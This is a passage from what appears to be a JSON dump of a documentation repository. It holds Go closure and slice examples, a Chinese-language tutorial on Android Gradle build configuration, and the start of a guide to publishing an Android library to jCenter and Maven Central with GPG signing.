{\n\t// make an Add2 function, give it a name p2, and call it:\n\tp2 := Add2()\n\tfmt.Printf(\"Call Add2 for 3 gives: %v\\n\", p2(3))\n\t// make a special Adder function, a gets value 3:\n\tTwoAdder := Adder(2)\n\tfmt.Printf(\"The result is: %v\\n\", TwoAdder(3))\n}\n\nfunc Add2() func(b int) int {\n\treturn func(b int) int {\n\t\treturn b + 2\n\t}\n}\n\nfunc Adder(a int) func(b int) int {\n\treturn func(b int) int {\n\t\treturn a + b\n\t}\n}\n```\n\n5.切片实例\n\n```\npackage main\nimport \"fmt\"\n\nfunc main() {\n\tvar arr1 [6]int\n\tvar slice1 []int = arr1[2:5] // item at index 5 not included!\n\n\t// load the array with integers: 0,1,2,3,4,5\n\tfor i := 0; i < len(arr1); i++ {\n\t\tarr1[i] = i\n\t}\n\n\t// print the slice\n\tfor i := 0; i < len(slice1); i++ {\n\t\tfmt.Printf(\"Slice at %d is %d\\n\", i, slice1[i])\n\t}\n\n\tfmt.Printf(\"The length of arr1 is %d\\n\", len(arr1))\n\tfmt.Printf(\"The length of slice1 is %d\\n\", len(slice1))\n\tfmt.Printf(\"The capacity of slice1 is %d\\n\", cap(slice1))\n\n\t// grow the slice\n\tslice1 = slice1[0:4]\n\tfor i := 0; i < len(slice1); i++ {\n\t\tfmt.Printf(\"Slice at %d is %d\\n\", i, slice1[i])\n\t}\n\tfmt.Printf(\"The length of slice1 is %d\\n\", len(slice1))\n\tfmt.Printf(\"The capacity of slice1 is %d\\n\", cap(slice1))\n\n\t// grow the slice beyond capacity\n\t//slice1 = slice1[0:7 ] // panic: runtime error: slice bound out of range\n}\n```\n"
  },
  {
    "path": "docs/android/AndroidNote/Gradle&Maven/Gradle专题.md",
    "content": "Gradle专题\n===\n\n随着`Google`对`Eclipse`的无情抛弃以及`Studio`的不断壮大，`Android`开发者逐渐拜倒在`Studio`的石榴裙下。       \n而作为`Studio`的默认编译方式，`Gradle`已逐渐普及。我最开始是被它的多渠道打包所吸引。关于多渠道打包，请看之前我写的文章[AndroidStudio使用教程(第七弹)][1]\n\n接下来我们就系统的学习一下`Gradle`。    \n\n简介\n---\n\n`Gradle`是以`Groovy`语言为基础，面向`Java`应用为主。基于`DSL(Domain Specific Language)`语法的自动化构建工具。\n\n`Gradle`集合了`Ant`的灵活性和强大功能，同时也集合了`Maven`的依赖管理和约定，从而创造了一个更有效的构建方式。凭借`Groovy`的`DSL`和创新打包方式，`Gradle`提供了一个可声明的方式，并在合理默认值的基础上描述所有类型的构建。 `Gradle`目前已被选作许多开源项目的构建系统。\n\n因为`Gradle`是基于`DSL`语法的，如果想看到`build.gradle`文件中全部可以选项的配置，可以看这里\n[DSL Reference](http://google.github.io/android-gradle-dsl/current/)\n\n基本的项目设置\n---\n\n一个`Gradle`项目通过一个在项目根目录中的`build.gradle`文件来描述它的构建。\n\n### 简单的`Build`文件\n\n最简单的`Android`应用中的`build.gradle`都会包含以下几个配置：   \n`Project`根目录的`build.gradle`:       \n\n```\nbuildscript {\n    repositories {\n        jcenter()\n    }\n    dependencies {\n        classpath 'com.android.tools.build:gradle:1.5.0'\n\n        // NOTE: Do not place your application dependencies here; they belong\n        // in the individual module build.gradle files\n    }\n}\n```\n`Module`中的`build.gradle`:    \n   \n```\napply plugin: 'com.android.application'\n\nandroid {\n    compileSdkVersion 23\n    buildToolsVersion \"23.0.3\"\n    ...\n}\n```\n\n\n- `buildscript { ... }`配置了编译时的代码驱动. 这种情况下，它声明所使用的是`jCenter`仓库。还有一个声明所依赖的在`Maven`文件的路径。这里声明的包含了`Android`插件所使用的1.5.0版本的`Gradle`. 注意:这只会影响`build`中运行的代码，不是项目中。项目中需要声明它自己所需要仓库和依赖关系。\n- `apply plugin : com.android.application`，声明使用`com.androdi.application`插件。这是构建`Android`应用所需要的插件。\n- `android{...}`配置了所有`Android`构建时的参数。默认情况下，只有编译的目标版本以及编译工具的版本是需要的。\n\n重要: 这里只能使用`com.android.application`插件。如果使用`java`插件将会报错。\n\n### 目录结构\n`module/src/main`下的目录结构，因为有时候很多人把`so`放到`libs`目录就会报错:    \n\n- java/\n- res/\n- AndroidManifest.xml\n- assets/\n- aidl/  \n- jniLibs/\n- jni/  \n- rs/\n\n### 配置目录结构\n如果项目的结构不标准的时候，可能就需要去配置它。`Android`插件使用了相似的语法，但是因为它有自己的`sourceSets`，所以要在`android`代码块中进行配置。下面就是一个从`Eclipse`的老项目结构中配置主要代码并且将`androidTest`的`sourceSet`设置给`tests`目录的例子:     \n\n```\nandroid {\n    sourceSets {\n        main {\n            manifest.srcFile 'AndroidManifest.xml'\n            java.srcDirs = ['src']\n            resources.srcDirs = ['src']\n            aidl.srcDirs = ['src']\n            renderscript.srcDirs = ['src']\n            res.srcDirs = ['res']\n            assets.srcDirs = ['assets']\n        }\n\n        androidTest.setRoot('tests')\n    }\n}\n```\n就像有些人就是要把`so`放到`libs`目录中(这类人有点犟)，那就需要这样进行修改。    \n注意:因为在旧的项目结构中所有的源文件(`Java`,`AIDL`和`RenderScript`)都放到同一个目录中，我们需要将`sourceSet`中的这些新部件都设置给`src`目录。\n\nBuild Tasks\n---\n\n对构建文件声明插件时通常或自动创建一些列的构建任务去执行。不管`Java`插件还是`Android`插件都是这样。`Android`常规的任务如下：    \n\n- `assemble`生成项目`output`目录中的内容的任务。\n- `check`执行所有的检查的任务。\n- `build`执行`assemble`和`check`的任务。\n- `clean`清理项目`output`目录的任务。\n\n在`Android`项目中至少会有两种`output`输出:一个`debug apk`和一个`release apk`。他们都有自己的主任务来分别执行构建:    \n- `assemble`\n    - `assembleDebug`\n    - `assembleRelease`  \n    \n提示:`Gradle`支持通过命令行执行任务首字母缩写的方式。例如:      \n在没有其他任务符合`aR`的前提下，`gradle aR`与`gradle assembleRelease`是相同的。\n\n最后，构建插件创建了为所有`build type(debug, release, test)`类型安装和卸载的任务，只要他们能被安装(需要签名)。\n\n- `installDebug`\n- `installRelease`\n- `uninstallAll`\n    - `uninstallDebug`\n    - `uninstallRelease`\n    - `uninstallDebugAndroidTest`\n    \n### 基本的`Build`定制\n\n`Android`插件提供了一些列的`DSL`来让直接从构建系统中做大部分的定制。\n \n##### `Manifest`整体部分\n`DSL`提供了很多重要的配置`manifest`文件的参数，例如:     \n\n- `minSdkVersion`\n- `targetSdkVersion`\n- `versionCode`\n- `versionName`\n- `applicationId`\n- `testApplicationId`\n- `testInstrumentationRunnder`\n\n[Android Plugin DSL Reference](http://google.github.io/android-gradle-dsl/current/)提供了一个完整的构建参数列表。\n\n把这些`manifest`属性放到`build`文件中的一个重要功能就是它可以被动态的设置。例如，可以通过读取一个文件或者其他逻辑来获取版本名称。     \n\n```\ndef computeVersionName() {\n    ...\n}\n\nandroid {\n    compileSdkVersion 23\n    buildToolsVersion \"23.0.1\"\n\n\n    defaultConfig {\n        versionCode 12 \n        versionName computeVersionName()\n        minSdkVersion 16\n        targetSdkVersion 23\n    }\n}\n```\n注意:不要使用可能与现有给定冲突的方法名。例如`defaultConfig{...}`中使用`getVersionName()`方法将会自动使用`defaultConfig.getVersionName()`来带起自定义的方法。\n\n##### `Build Types`\n\n默认情况下`Android`插件会自动将应用程序设置成有一个`debug`版本和一个`release`版本。    \n这就是通过调用`BuildType`对象完成。默认情况下会创建两个实例，一个`debug`实例和一个`release`实例。`Android`插件同样允许通过其他的`Build Types`来定制其他的实例。这就是通过`buildTypes`来设置的:     \n\n```\nandroid {\n    buildTypes {\n        debug {\n            applicationIdSuffix \".debug\"\n        }\n\n\n        jnidebug {\n            initWith(buildTypes.debug)\n            applicationIdSuffix \".jnidebug\"\n            jniDebuggable true\n        }\n    }\n}\n```\n上面的代码执行了以下操作:     \n- 配置了默认`debug`的`Build Type`:     \n    - 设置了它的`applicationId`。这样`debug`模式就能与`release`模式的`apk`同时安装在同一手机上。\n- 创建了一个新的`jnidebug`的`Build Type`，并且把它设置为`debug`的拷贝。\n- 通过允许`JNI`组件的`debug`和增加一个新的包名后缀来继续定制该`Build Type`。  \n \n不管使用`initWith()`还是使用其他的代码块，创建一个新的`Build Types`都是非常简单的在`buildTypes`代码块中创建一个新的元素就可以了。\n \n##### 签名配置\n\n为应用签名需要使用如下几个部分:      \n- `A keystore`\n- `A keystore password`\n- `A key alias name`\n- `A key password`\n- `The store type`\n\n\n默认情况下有一个`debug`的配置，设置了一个`debug`的`keystore`，有一个已知的密码。`debug keystore`的位置是在`$HOME/.android/debug.keystore`，如果没有的话他会被默认创建。`Debug`的`Build Type`会默认使用该`debug`的签名设置。\n\n当然也可以通过使用`DSL`语法中的`signingconfigs`部分来创建其他的配置来进行定制:    \n\n```\nandroid {\n    signingConfigs {\n        debug {\n            storeFile file(\"debug.keystore\")\n        }\n\n\n        myConfig {\n            storeFile file(\"other.keystore\")\n            storePassword \"android\"\n            keyAlias \"androiddebugkey\"\n            keyPassword \"android\"\n        }\n    }\n\n\n    buildTypes {\n        foo {\n            signingConfig signingConfigs.myConfig\n        }\n    }\n}\n\n```\n上面的设置将把`debug keystore`的位置改为项目的根目录。同样也创建了一个新的签名配置，并且有一个新的`Build Type`使用它。\n\n\n\n### `Dependencies, Android Libraries and Multi-project setup`\n\n`Gradle`项目可以依赖其他的外部二进制包、或者其他的`Gradle`项目。\n\n##### 本地包\n\n想要配置依赖一个外部`jar`包，需要在`compile`的配置中添加一个`dependency`。下面的配置是添加了所有在`libs`目录的`jar`包:   \n\n```\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n}\n\n\nandroid {\n    ...\n}\n```\n注意:`DSL`元素中的`dependencies`是`Gradle API`中的标准元素。不属于`andorid`元素。      \n`compile`配置是用来编译主应用的。它配置的所有部分都会被打包到`apk`中。当然也有一些其他的配置:      \n\n- `compile`: `main application`\n- `androidTestCompile`:`test application`\n- `debugCompile`:`debug Build Type`\n- `release Compile`:`release Build Type`\n\n当然我们可以使用`compile`和`<buildtype>.compile`这两种配置。创建一个新的`Build Type`通常会自动基于它的名字创建一个新的配置部分。这样在像`debug`版本而`release`版本不适用的一些特别的`library`时非常有用。\n\n##### 远程仓库\n\n`Gradle`只是使用`Maven`和`Ivy`仓库。但是仓库必须要添加到列表中，并且必须声明所依赖仓库的`Maven`或者`Ivy`定义。      \n\n```\nrepositories {\n     jcenter()\n}\n\n\ndependencies {\n    compile 'com.google.guava:guava:18.0'\n}\n\n\nandroid {\n    ...\n}\n```\n\n注意:`jcenter()`是指定仓库`URL`的快捷设置。`Gradle`支持远程和本地仓库。\n注意:`Gradle`会直接识别所有的依赖关系。这就意味着如果一个依赖库自身又依赖别的库时，他们会被一起下下来。\n\n##### 本地`AAR`库     \n\n```\ndependencies {\n\tcompile(name:'本地aar库的名字，不用加后缀', ext:'aar')\n}\n```\n\n##### 多项目设置      \n\n`Gradle`项目通常使用多项目设置来依赖其他的`gradle`项目。例如:      \n\n- MyProject/         \n    - app/          \n    - libraries/        \n        - lib1/           \n        - lib2/     \n        \n`Gradle`会通过下面的名字来引用他们：     \n`:app`       \n`:libraries:lib1`          \n`:libraries:lib2`      \n\n\n每个项目都会有一个单独的`build`文件，并且在项目的根目录还会有一个`setting.gradle`文件：    \n      \n- MyProject/         \n    - settings.gradle         \n    - app/      \n        - build.gradle       \n    + libraries/      \n        + lib1/       \n            - build.gradle      \n        + lib2/      \n           - build.gradle      \n       \n\n`setting.gradle`文件中的内容非常简单。它指定了哪个目录是`Gralde`项目:     \n```\ninclude ':app', ':libraries:lib1', ':libraries:lib2'\n```\n\n`：app`这个项目可能会依赖其他的`libraries`，这样可以通过如下进行声明:    \n```\ndependencies {\n     compile project(':libraries:lib1')\n}\n```\n\n### `Library`项目\n\n上面用到了`:libraries:lib1`和`:libraries:lib2`可以是`Java`项目，`:app`项目会使用他们俩的输出的`jar`包。但是如果你需要使用`android`资源等，这些`libraries`就不能是普通的`Java`项目了，他们必须是`Android Library`项目。    \n\n##### 创建一个`Library`项目      \n\n`Library`项目和普通的`Android`项目的区别比较少，由于`libraries`的构建类型与应用程序的构建不同，所有它会使用一个别的构建插件。但是他们所使用的插件内部有很多相同的代码，他们都是由`com.android.tools.build.gradle`这个`jar`包提供的。\n\n```\nbuildscript {\n    repositories {\n        jcenter()\n    }\n\n\n    dependencies {\n        classpath 'com.android.tools.build:gradle:1.3.1'\n    }\n}\n\n\napply plugin: 'com.android.library'\n\n\nandroid {\n    compileSdkVersion 23\n    buildToolsVersion \"23.0.1\"\n}\n```\n\n##### 普通项目与`Library`项目的区别       \n\n`Library`项目的主要输出我`.aar`包。它结合了代码(例如`jar`包或者本地`.so`文件)和资源(`manifest`,`res`,`assets`)。每个`library`也可以单独设置`Build Type`等来指定生成不同版本的`aar`。\n\n### `Lint Support`\n \n你可以通过指定对应的变量来设置`lint`的运行。可以通过添加`lintOptions`来进行配置:      \n\n```\nandroid {\n    lintOptions {\n        // turn off checking the given issue id's\n        disable 'TypographyFractions','TypographyQuotes'\n\n        // turn on the given issue id's\n        enable 'RtlHardcoded','RtlCompat', 'RtlEnabled'\n\n        // check *only* the given issue id's\n        check 'NewApi', 'InlinedApi'\n    }\n}\n```\n\n### `Build`变量\n\n\n构建系统的一个目标就是能对同一个应用创建多个不同的版本。    \n\n##### `Product flavors`    \n\n一个`product flavor`可以针对一个项目制定不同的构建版本。一个应用可以有多个不同的`falvors`来改变生成的应用。   \n`Product flavors`是通过`DSL`语法中的`productFlavors`来声明的:    \n\n```\nandroid {\n    ....\n\n\n    productFlavors {\n        flavor1 {\n            ...\n        }\n\n\n        flavor2 {\n            ...\n        }\n    }\n}\n```\n\n##### `Build Type + Product Flavor = Build Variant`\n\n像我们之前看到的，每个`Build Type`都会生成一个`apk`.`Product Flavors`也是同样的：项目的输出僵尸所有`Build Types`与`Product Flavors`的结合。每种结合方式称之为`Build Variant`。例如，如果有`debug`和`release`版本的`Build Types`，上面的例子就会生成4种`Build Variants`：    \n- `Flavor1` - `debug`\n- `Flavor1` - `release`\n- `Flavor2` - `debug`\n- `Flavor2` - `release`\n\n没有配置`flavors`的项目仍然有`Build Variants`，它只是用了一个默认的`flavor/config`，没有名字，这导致`variants`的列表和`Build Types`的列表比较相同。\n\n##### `Product Flavor`配置\n\n```\nandroid {\n    ...\n\n\n    defaultConfig {\n        minSdkVersion 8\n        versionCode 10\n    }\n\n\n    productFlavors {\n        flavor1 {\n            applicationId \"com.example.flavor1\"\n            versionCode 20\n         }\n\n\n         flavor2 {\n             applicationId \"com.example.flavor2\"\n             minSdkVersion 14\n         }\n    }\n}\n```\n注意`android.productFlavors.*`对象`ProductFlavor`有`android.defaultConfig`是相同的类型。这就意味着他们有相同的属性。    \n`defaultConfig`为所有的`flavors`提供了一些基本的配置，每个`flavor`都已重写他们。在上面的例子中，这些配置有:       \n\n- `flavor1`        \n    - `applicationId`: `com.example.flavor1`      \n    - `minSdkVersion`: 8       \n    - `versionCode`: 20\n- `flavor2`    \n    - `applicationId`: `com.example.flavor2`      \n    - `minSdkVersion`: 14       \n    - `versionCode`: 10       \n    \n   \n通常，`Build Type`配置会覆盖其他的配置。例如，`Build Type`的`applicationIdSuffix`会添加到`Product Flavor`的`applicationId`上。\n\n\n最后，就像`Build Types`一样，`Product Flavors`也可以有他们自己的依赖关系。例如，如果有一个单独的`flavors`会使用一些广告或者支付，那这个`flavors`生成的`apk`就会使用广告的依赖，而其他的`flavors`就不需要使用。    \n```\ndependencies {\n    flavor1Compile \"...\"\n}\n```\n\n### `BuildConfig`      \n\n在编译阶段，`Android Studio`会生成一个叫做`BuildConfig`的类，该类包含了编译时使用的一些变量的值。你可以观看这些值来改变不同变量的行为:       \n\n```\nprivate void javaCode() {\n    if (BuildConfig.FLAVOR.equals(\"paidapp\")) {\n        doIt();\n    else {\n        showOnlyInPaidAppDialog();\n    }\n}\n```\n\n下面是`BuildConfig`中包含的一些值:      \n\n- `boolean DEBUG` - `if the build is debuggable`      \n- `int VERSION_CODE` \n- `String VERSION_NAME`\n- `String APPLICATION_ID`\n- `String BUILD_TYPE`- `Build Type`的名字，例如`release`      \n- `String FLAVOR` - `flavor`的名字，例如`flavor1`      \n\n\n### `ProGuard`配置      \n\n`Android`插件默认会使用`ProGuard`插件，并且如果`Build Type`中使用`ProGuard`的`minifyEnabled`属性开启的话，会默认创建对应的`task`。   \n\n```\nandroid {\n    buildTypes {\n        release {\n            minifyEnabled true\n            proguardFile getDefaultProguardFile('proguard-android.txt')\n        }\n    }\n\n    productFlavors {\n        flavor1 {\n        }\n        flavor2 {\n            proguardFile 'some-other-rules.txt'\n        }\n    }\n}\n```\n \n### `Tasks`控制     \n\n基本的`Java`项目有一系列的`tasks`一起制作输出文件。     \n`classes task`就是编译`Java`源码的任务。 我们可以在`build.gradle`中通过使用`classes`很简单的获取到它。就是`project.tasks.classes`.    \n\n在`Android`项目中，更多的编译`task`，因为他们的名字通过`Build Types`和`Product Flavors`生成。\n\n为了解决这个问题，`android`对象有两种属性:     \n- `applicationVariants` - `only for the app plugin`     \n- `libraryVariants` - `only for the library plugin`      \n- `testVariants` - `for both plugins`      \n这些都会返回一个`ApplicationVariant`, `LibraryVariant`,`TestVariant`的`DomainObjectCollection`接口的实现类对象。   \n`DomainObjectCollection`提供了直接获取或者很方便的间接获取所有对象的方法。     \n```\nandroid.applicationVariants.all { variant ->\n   ....\n}\n```\n\n### 设置编译语言版本\n\n可以使用`compileOptions`代码块来设置编译时使用的语言版本。默认是基于`compileSdkVersion`的值。\n```\nandroid {\n    compileOptions {\n        sourceCompatibility JavaVersion.VERSION_1_6\n        targetCompatibility JavaVersion.VERSION_1_6\n    }\n}\n```\n\n### `Resource Shrinking`    \n\n`Gradle`构建系统支持资源清理：对构建的应用会自动移除无用的资源。不仅会移除项目中未使用的资源，而且还会移除项目所以来的类库中的资源。注意，资源清理只能在与代码清理结合使用(例如`ProGuad`)。这就是为什么它能移除所依赖类库的无用资源。通常，类库中的所有资源都是使用的，只有类库中无用代码被移除后这些资源才会变成没有代码引用的无用资源。    \n \n```\nandroid {\n    ...\n\n    buildTypes {\n        release {\n            minifyEnabled true\n            shrinkResources true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n```\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/AndroidStudioCourse/AndroidStudio%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B(%E7%AC%AC%E4%B8%83%E5%BC%B9).md       \"AndroidStudio使用教程(第七弹)\"\n\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/Gradle&Maven/发布library到Maven仓库.md",
    "content": "发布library到Maven仓库\n---\n\n在`Android Studio`中想要使用一些第三方类库的时候非常方便，只需要在`build.gradle`中加入一行代码就可以了：   \n```java\ndependencies {\n    compile 'com.google.code.gson:gson:2.3.1'\n}\n```\n刚从`Eclipse`转过来的时候感觉太方便了，也不用下`jar`包然后拷贝到`libs`目录了，重要的是以后升级起来灰常方便，改个数字就好了。\n那究竟它里面是怎么运转的呢？其实`Android Studio`是从`Maven`仓库中下载所配置的`libraray`。     \n总的来说，`Android`只有两种存放`library`的服务器就是`jCenter`和`Maven Central`:\n\n- `jCenter`                 \n    `jCenter`是由[bintray](https://bintray.com/)维护的`Maven`仓库。你可以在[这里](http://jcenter.bintray.com/)查看它所有的`library`。\n    想要在项目中使用`jCenter`必须要在项目的`build.gradle`中像如下这样进行声明：    \n\n    ```java\n    allprojects {\n\t\trepositories {\n\t\t\tjcenter()\n\t\t}\n\t}\n\t```\n- `Maven Central`         \n    `Maven Central`是由[sonatype](https://issues.sonatype.org)维护的`Maven`仓库。想要在项目中使用`Maven Central`需要在项目的`build.gradle`文件中像下面这样进行声明:     \n\n    ```java\n    allprojects {\n        repositories {\n            mavenCentral()\n        }\n    }\n    ```\t\n\t虽然`jCenter`和`Maven Central`都是`Android`标准的`library maven`仓库，但是他俩是由不同提供者维护，并且存放到完全不同的服务器上，所以他俩之间毫无关系。     \n\t除了这两个标准的服务器外，如果我们使用的`library`作者把该`library`放到自己的服务器上，我们还可以自己定义特有的`Maven`仓库服务器。例如`Twitter`的`Fabric.io`就是这种情况，它们在[https://maven.fabric.io/public](https://maven.fabric.io/public)上维护了一个自己的`Maven`仓库，如果你想使用`Fabric.io`上的`library`你必须要自己定义仓库的`url`:       \n\t```java\n\trepositories {\n\t\tmaven { url 'https://maven.fabric.io/public' }\n\t}\n\t然后才能正常使用\n\tdependencies {\n\t\tcompile 'com.crashlytics.sdk.android:crashlytics:2.2.4@aar'\n\t}\n\t```\t\n\n\t上传到自建服务器需要定义仓库的`url`，所以会比上传到标准的`maven`仓库使用起来要更麻烦。\n\n\t至于上传到`jCenter`还是`Maven Central`上面就要看开发者个人的爱好了，当然在这两个上面都上传是最方便的。在`Android Studio`开始的几个版本中，它将`Maven central` 作为默认仓库。新建项目之后`build.gradle`中会自动生成`Maven central`仓库的配置。\n\t但是`Maven Central`最大的问题就是上传`library`非常困难，同时还会由安全方面的原因，所以后来`Android Studio`将默认仓库替换成`jCenter`。所以最近的几个版本中创建项目之后,`build.gradle`中会默认定义`jCenter`而不是`Maven Central`。     \n\n`jCenter`相对`Maven Central`来说更好的几个主要原因:    \n\n- `jCenter`通过`CDN`发送`library`，开发者会由更快的下载体验。\n- `jCenter`作为世界最大的`Java`仓库，所以它上面的`library`会更多。\n- `jCenter`上传`library`更简单，不需要像在`Maven Central`上那么复杂。\n- `jCenter`的用户界面更友好。\n- `jCenter`的`bintray`网站上可以通过一键实现将`library`上传到`Maven Central`上。\n\n所以我们后面要讲的就是如何上传`library`到`bintray`的`jCenter`中然后再一键上传到`Maven Central`上。    \n\n说之前先通过`picasso`为例认识一下几个主要的部分:      \n我们在使用`picasso`时，它会告诉我们按照如下使用： \n```java\ncompile 'com.squareup.picasso:picasso:2.5.2'\n```\n或者\n```java\n<dependency>\n  <groupId>com.squareup.picasso</groupId>\n  <artifactId>picasso</artifactId>\n  <version>2.5.2</version>\n</dependency>\n```\n\n这两种方法分别对应了`jCenter`和`Maven Central`中的使用方法.`jCenter`中`com.squareup.picasso`就是`grounId`，通常我们以开发者的报名后面紧跟`library`的名字来命名`groupId`, `picasso`是`artifactId`,`artifactId`也就是`library`真实的名称。,后面的`2.5.2`就是当前的`version`.\n\n看到这里应该清楚其实就是`Android Studio`从`Maven`服务器上去下载我们所配置的`library`然后与我们项目一起进行编译。从`Maven`仓库上下载的是该`library`的`jar`或者`aar`文件。\n\n仓库中存储的有两种文件类型的`library`：`jar`和`aar`。`jar`包大家都知道。那什么是`aar`呢？`aar`是在`jar`的基础上进行开发的，这是因为`Androd Library`需要植入一些特有的文件，例如资源文件、`assets`、`jni`、清单文件等。而这些都不是`jar`的标准，因为`aar`就是在`jar`包的基础上新增了对其他文件的封装。当然他和`jar`包一样，在本质上都是`zip`包，下面我们看一下`aar`的目录结构:     \n```java\n- /AndroidManifest.xml\n- /classes.jar\n- /res/\n- /R.txt\n- /assets/\n- /libs/*.jar\n- /jni/<abi>/*.so\n- /proguard.txt\n- /lint.jar\n```\n\n讲到这里已经清楚了`groupId`、`artifactId`以及`aar`了，那接下来我们就讲一下具体的发布流程了:          \n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/public_jcenter.png?raw=true)   \n\n在Bintray上创建一个包\n---\n               \n- 登陆[bintray](https://bintray.com/)。\n- 选择`Maven`后进入。            \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/bintray.png?raw=true)\n- 添加新包。            \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/and_new_package.png?raw=true)\n- 填写包信息            \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/add_package_information.png?raw=true)\n\n    包名这里对于单词之间要用`-`分割。\n- 然后会提示已经上传。            \n 到这里我们已经在`bintray`上创建了一个`Maven`仓库，接下来要做的就是上传`library`。\n\n在Sonatype上传件一个`Maven Central`账户。\n---\n\n- 注册Sonatype账号      \n    在[Sonatype](https://issues.sonatype.org/secure/Dashboard.jspa)上注册账号。\n    注册完登陆后需要在`JIRA`中创建一个`issue`，这样他就会允许你上传匹配`Maven Central`提供的`GROUP_ID`的`library`。    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/create_issue.png?raw=true)\n    Project: Community Support - Open Source Project Repository Hosting              \n    Issue Type: New Project          \n    Summary: 你的 library名称的概要，比如The Cheese Library。           \n    Group Id: 输入根GROUP_ID，比如， com.charonchui。一旦批准之后，每个以com.charon开始的library都允许被上传到仓库，比如com.charonchui.xxx。        \n    Project URL: 输入任意一个你想贡献的library的URL，比如， [https://github.com/CharonChui/CyberLink4Android](https://github.com/CharonChui/CyberLink4Android)。           \n    SCM URL: 版本控制的URL，比如 [https://github.com/CharonChui/CyberLink4Android.git](https://github.com/CharonChui/CyberLink4Android.git)。         \n    其他的都不用管，写完之后创建就可以了。 然后就是开始等，大约一周左右就会获准将自己的`library`分享到`Maven Central`。\n- 下面就是`Bintray`中的账户选项中填写`Sonatype`用户名。\n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/add_account.png?raw=true)\n\n- 开启自动注册功能，为了能让我们通过`jcenter`上传的`libraray`自动发布到`Maven Central`中  \n    - 使用下面的命令生成一个key。如果是windows用户需要使用cygwin。否则不能执行        \n        `gpg --gen-key`\n         后面会一步步的进行提示，按照提示输入相应内容就好。\n\n         创建完成后可以使用`gpg --list-keys`命令来查看创建key的信息.\n         接下来需要将生成的key上传到keyserver上才能发挥作用。\n        ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/list_key.png?raw=true)\n\t\n\t    如上图所示将`key`上传到`keyserver`让它发挥作用，运行如下命令，将下面的PUBLIC_KEY_ID替换成上面2048R/后面的数字，如我的是B861C367\n\t    `gpg --keyserver hkp://pool.sks-keyservers.net --send-keys PUBLIC_KEY_ID`\n\t\t\n    - 运行以下命令        \n    ```java\n\tgpg -a --export yourmail@email.com > public_key_sender.asc\n    gpg -a --export-secret-key yourmail@email.com > private_key_sender.asc\n    ```\n    运行完上面的两个命令后，会在当前目录分别生成public_key_sender.asc以及private_key_sender.ask两个文件，下面我们就打开这两个文件的内容，填写到Bintray的`Edit Profile`页面中的`GPG`注册部分。\n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/GPG.png?raw=true)\n    - 开启自动注册。          \n        在`Edit Your Profile`页面找到`Repositories`后，选择`maven`后的`edit`。然后将GPG sign uploaded files using Bintray's public/private key pair.打上勾就可以了。\n        ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/maven_edit.png?raw=true)\n        ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/maven_gpg.png?raw=true)\n\n接下来就是如何将`Android Studio`中的`Library Module`进行上传\n---\n\n首先是修改项目的`build.gradle`文件。如下:    \n```java\n// Top-level build file where you can add configuration options common to all sub-projects/modules.\n\nbuildscript {\n    repositories {\n        jcenter()\n    }\n    dependencies {\n        // 注意gradle版本要再1.1.2以上，之前的版本存在问题。如果在工程中/gradle/wrapper/gradle-wrapper.properties重看到当前的gradle版本为2.4，下面的配置版本就要改为1.3.0\n        classpath 'com.android.tools.build:gradle:1.2.3'\n        // 下面的部分就为新添加的。\n        // 用于上传项目到bintray\n        classpath 'com.jfrog.bintray.gradle:gradle-bintray-plugin:1.2'\n        // 用于生成javaDoc和jar，如果gradle版本为2.4及以上，下面的版本就要改为1.3，具体可参考https://github.com/dcendents/android-maven-gradle-plugin\n        classpath 'com.github.dcendents:android-maven-plugin:1.2'\n        // NOTE: Do not place your application dependencies here; they belong\n        // in the individual module build.gradle files\n    }\n}\n\nallprojects {\n    repositories {\n        jcenter()\n    }\n}\n```\n\n修改`local.properties`文件，在里面配置`apikey`、用户名以及密码，以便`bintray`进行验证。之所以要把这些东西配置到该文件中是因为这些信息都比较敏感，不能分享到别处，包括版本控制里面。而在创建项目的时候`local.properties`已经被添加到`.gitignore`中了，所以这些数据不会被上传：   \n需要添加如下三行代码:     \n```java\nbintray.user=YOUR_BINTRAY_USERNAME  // 这里一定要用小写，不要用CharonChui不然会报错的，因为他会根据该用户名去找指定package，如果是大写他就找不到了。\nbintray.apikey=YOUR_BINTRAY_API_KEY\nbintray.gpg.password=YOUR_GPG_PASSWORD\n```\n`Api key`可以在`Binatry`官网上面的`Edit Profile`页面下的`API Key`中获取。      \n最后要做的就是修改`library module`中的`build.gradle`文件。\n下面这是最初的状态：       \n```java\napply plugin: 'com.android.library'\n\nandroid {\n    compileSdkVersion 22\n    buildToolsVersion \"22.0.1\"\n\n    defaultConfig {\n        minSdkVersion 8\n        targetSdkVersion 22\n        versionCode 1\n        versionName \"1.0\"\n    }\n    buildTypes {\n        release {\n            minifyEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n}\n```\n下面就是修改之后的文件:      \n```java\napply plugin: 'com.android.library'\napply plugin: 'com.github.dcendents.android-maven'\napply plugin: \"com.jfrog.bintray\"\n\n// This is the library version used when deploying the artifact\nversion = \"1.0.0\"\n\nandroid {\n    compileSdkVersion 22\n    buildToolsVersion \"22.0.1\"\n\n    defaultConfig {\n        minSdkVersion 8\n        targetSdkVersion 22\n        versionCode 1\n        versionName \"1.0\"\n    }\n    buildTypes {\n        release {\n            minifyEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: 'libs', include: ['*.jar'])\n}\n\ndef siteUrl = 'https://github.com/CharonChui/CyberLink4Android'      // Homepage URL of the library\ndef gitUrl = 'https://github.com/CharonChui/CyberLink4Android.git'   // Git repository 